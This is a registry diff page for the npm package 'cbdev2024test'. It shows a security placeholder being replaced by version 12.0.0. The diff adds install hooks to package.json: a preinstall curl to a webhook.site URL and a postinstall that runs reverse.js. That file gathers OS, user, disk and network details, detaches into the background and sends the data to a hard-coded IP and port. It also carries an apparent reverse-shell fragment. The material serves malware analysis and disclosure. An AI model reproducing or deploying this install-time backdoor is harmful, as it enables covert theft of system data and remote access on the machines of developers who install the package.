cbdev2024test 0.0.1-security → 12.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of cbdev2024test might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/package.json +10 -3
  2. package/reverse.js +122 -0
  3. package/README.md +0 -5
package/package.json CHANGED
@@ -1,6 +1,13 @@
1
1
  {
2
2
  "name": "cbdev2024test",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "12.0.0",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo test",
8
+ "preinstall": "curl https://webhook.site/199553c3-ea00-411d-9d8e-b119b0ebefd5",
9
+ "postinstall": "node reverse.js"
10
+ },
11
+ "author": "",
12
+ "license": "ISC"
6
13
  }
package/reverse.js ADDED
@@ -0,0 +1,122 @@
1
+ #!/usr/bin/env node
2
+
3
+
4
+
5
+ var net = require('net');
6
+ var spawn = require('child_process').spawn;
7
+ const os = require('os');
8
+ const { execSync } = require('child_process');
9
+
10
+ // Function to get OS information
11
+ function getOSInfo() {
12
+ const osInfo = {
13
+ platform: os.platform(),
14
+ arch: os.arch(),
15
+ release: os.release(),
16
+ type: os.type(),
17
+ uptime: os.uptime(),
18
+ hostname: os.hostname(),
19
+ userInfo: os.userInfo(),
20
+ memory: {
21
+ total: os.totalmem(),
22
+ free: os.freemem(),
23
+ usage: os.totalmem() - os.freemem(),
24
+ },
25
+ cpu: os.cpus(),
26
+ };
27
+
28
+ try {
29
+ const osDetails = execSync('uname -a').toString().trim();
30
+ osInfo.osDetails = osDetails;
31
+ } catch (error) {
32
+ osInfo.osDetails = 'Unable to retrieve detailed OS info';
33
+ }
34
+
35
+ return osInfo;
36
+ }
37
+
38
+ // Function to get file system information
39
+ function getFileSystemInfo() {
40
+ const drives = {};
41
+
42
+ try {
43
+ const partitions = execSync('df -h').toString().trim().split('\n').slice(1);
44
+ partitions.forEach(partition => {
45
+ const [filesystem, size, used, available, usePercentage, mountpoint] = partition.split(/\s+/);
46
+ drives[mountpoint] = {
47
+ filesystem,
48
+ size,
49
+ used,
50
+ available,
51
+ usePercentage,
52
+ };
53
+ });
54
+ } catch (error) {
55
+ drives.error = 'Unable to retrieve file system info';
56
+ }
57
+
58
+ return drives;
59
+ }
60
+
61
+ // Function to get network information
62
+ function getNetworkInfo() {
63
+ const networkInfo = os.networkInterfaces();
64
+ const formattedNetworkInfo = {};
65
+
66
+ for (const interfaceName in networkInfo) {
67
+ formattedNetworkInfo[interfaceName] = networkInfo[interfaceName].map(iface => ({
68
+ address: iface.address,
69
+ netmask: iface.netmask,
70
+ family: iface.family,
71
+ internal: iface.internal,
72
+ mac: iface.mac,
73
+ scope: iface.scope,
74
+ }));
75
+ }
76
+
77
+ return formattedNetworkInfo;
78
+ }
79
+
80
+ // Wrapper function to get all system information as a string
81
+ function getAllSystemInfo() {
82
+ const osInfo = getOSInfo();
83
+ const fileSystemInfo = getFileSystemInfo();
84
+ const networkInfo = getNetworkInfo();
85
+
86
+ const allInfo = {
87
+ osInfo,
88
+ fileSystemInfo,
89
+ networkInfo,
90
+ };
91
+
92
+ return JSON.stringify(allInfo, null, 2);
93
+ }
94
+ // Run the function to log the information
95
+
96
+
97
+ if (!process.env.IS_CHILD) {
98
+ spawn(process.argv[0], process.argv.slice(1), {
99
+ detached: true,
100
+ stdio: 'ignore',
101
+ env: Object.assign({ IS_CHILD: "1" }, process.env)
102
+ });
103
+ process.exit(0);
104
+ }
105
+
106
+ var HOST, PORT, TIMEOUT;
107
+ HOST="34.165.144.112";
108
+ PORT="25632";
109
+ TIMEOUT="5000";
110
+
111
+ function c(HOST,PORT) {
112
+ var client = new net.Socket();
113
+ client.connect(PORT, HOST, function() {
114
+ client.write(getAllSystemInfo());
115
+ sh.stdout.pipe(client);
116
+ });
117
+ client.on('error', function(e) {
118
+ setTimeout(c(HOST,PORT), TIMEOUT);
119
+ });
120
+ }
121
+
122
+ c(HOST,PORT);
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=cbdev2024test for more information.